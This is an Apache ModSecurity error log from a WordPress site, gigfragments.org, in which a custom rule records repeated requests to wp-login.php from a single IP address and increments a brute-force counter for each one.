[Fri Feb 27 04:40:51.071651 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv04zcoYl3nRbu1jZRyAAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:52.670344 2026] [:error] [pid 42658:tid 42677] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv1IzcoYl3nRbu1jZRzwAAAhE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:55.553332 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv14zcoYl3nRbu1jZR2QAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:57.099144 2026] [:error] [pid 42658:tid 42664] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv2YzcoYl3nRbu1jZR3wAAAgQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:00.208774 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv3IzcoYl3nRbu1jZR7gAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:01.828484 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv3YzcoYl3nRbu1jZR9QAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:04.848862 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv4IzcoYl3nRbu1jZSAgAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:06.287440 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv4ozcoYl3nRbu1jZSBgAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:09.384759 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv5YzcoYl3nRbu1jZSIAAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:10.918166 2026] [:error] [pid 42658:tid 42681] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv5ozcoYl3nRbu1jZSKQAAAhU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:14.981088 2026] [:error] [pid 42658:tid 42661] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv6ozcoYl3nRbu1jZSQQAAAgE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:16.492085 2026] [:error] [pid 42658:tid 42677] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv7IzcoYl3nRbu1jZSUwAAAhE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:19.784500 2026] [:error] [pid 42658:tid 42672] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv74zcoYl3nRbu1jZSfgAAAgw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:21.228893 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv8YzcoYl3nRbu1jZSjAAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:24.297342 2026] [:error] [pid 42658:tid 42683] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv9IzcoYl3nRbu1jZSrgAAAhc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:25.837780 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv9YzcoYl3nRbu1jZSuAAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:28.869887 2026] [:error] [pid 42658:tid 42668] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv-IzcoYl3nRbu1jZSzQAAAgg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:30.420404 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv-ozcoYl3nRbu1jZS0QAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:33.489336 2026] [:error] [pid 42658:tid 42677] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv_YzcoYl3nRbu1jZS4AAAAhE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:34.874145 2026] [:error] [pid 42658:tid 42675] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCv_ozcoYl3nRbu1jZS8QAAAg8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:37.947763 2026] [:error] [pid 42658:tid 42666] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwAYzcoYl3nRbu1jZTDAAAAgY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:39.341769 2026] [:error] [pid 42658:tid 42678] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwA4zcoYl3nRbu1jZTFQAAAhI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:42.437787 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwBozcoYl3nRbu1jZTOQAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:43.855974 2026] [:error] [pid 42658:tid 42675] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwB4zcoYl3nRbu1jZTRwAAAg8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:46.903204 2026] [:error] [pid 42658:tid 42674] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwCozcoYl3nRbu1jZTYwAAAg4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:48.359501 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwDIzcoYl3nRbu1jZTbAAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:51.414527 2026] [:error] [pid 42658:tid 42675] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwD4zcoYl3nRbu1jZTigAAAg8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:52.797630 2026] [:error] [pid 42658:tid 42681] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwEIzcoYl3nRbu1jZTlwAAAhU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:55.795932 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwE4zcoYl3nRbu1jZTsgAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:41:57.228456 2026] [:error] [pid 42658:tid 42663] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwFYzcoYl3nRbu1jZTuAAAAgM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:00.235579 2026] [:error] [pid 42658:tid 42661] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwGIzcoYl3nRbu1jZTyQAAAgE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:01.809703 2026] [:error] [pid 42658:tid 42674] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwGYzcoYl3nRbu1jZT2AAAAg4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:04.793614 2026] [:error] [pid 42658:tid 42674] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwHIzcoYl3nRbu1jZT6QAAAg4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:06.241327 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwHozcoYl3nRbu1jZT-gAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:09.502151 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwIYzcoYl3nRbu1jZUDAAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:11.008796 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwI4zcoYl3nRbu1jZUFgAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:14.063693 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwJozcoYl3nRbu1jZUKgAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:15.540454 2026] [:error] [pid 42658:tid 42666] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwJ4zcoYl3nRbu1jZULAAAAgY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:20.020030 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwLIzcoYl3nRbu1jZUNQAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:21.569306 2026] [:error] [pid 42658:tid 42684] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwLYzcoYl3nRbu1jZURgAAAhg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:25.388527 2026] [:error] [pid 42658:tid 42678] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwMYzcoYl3nRbu1jZUYgAAAhI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:26.923753 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwMozcoYl3nRbu1jZUZwAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:31.101751 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwN4zcoYl3nRbu1jZUjgAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:32.686978 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwOIzcoYl3nRbu1jZUrQAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:35.794713 2026] [:error] [pid 42658:tid 42671] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwO4zcoYl3nRbu1jZUxQAAAgs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:37.344715 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwPYzcoYl3nRbu1jZU2gAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:40.605228 2026] [:error] [pid 42658:tid 42684] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwQIzcoYl3nRbu1jZU8wAAAhg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:42.073104 2026] [:error] [pid 42658:tid 42667] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwQozcoYl3nRbu1jZU-wAAAgc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:45.084228 2026] [:error] [pid 42658:tid 42667] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwRYzcoYl3nRbu1jZVEAAAAgc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:46.515896 2026] [:error] [pid 42658:tid 42668] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwRozcoYl3nRbu1jZVGQAAAgg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:50.857493 2026] [:error] [pid 42563:tid 42574] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwSnKL5BclZy73IRG2oQAAAcY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:52.269145 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwTHKL5BclZy73IRG2owAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:55.205109 2026] [:error] [pid 42563:tid 42572] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwT3KL5BclZy73IRG2qwAAAcQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
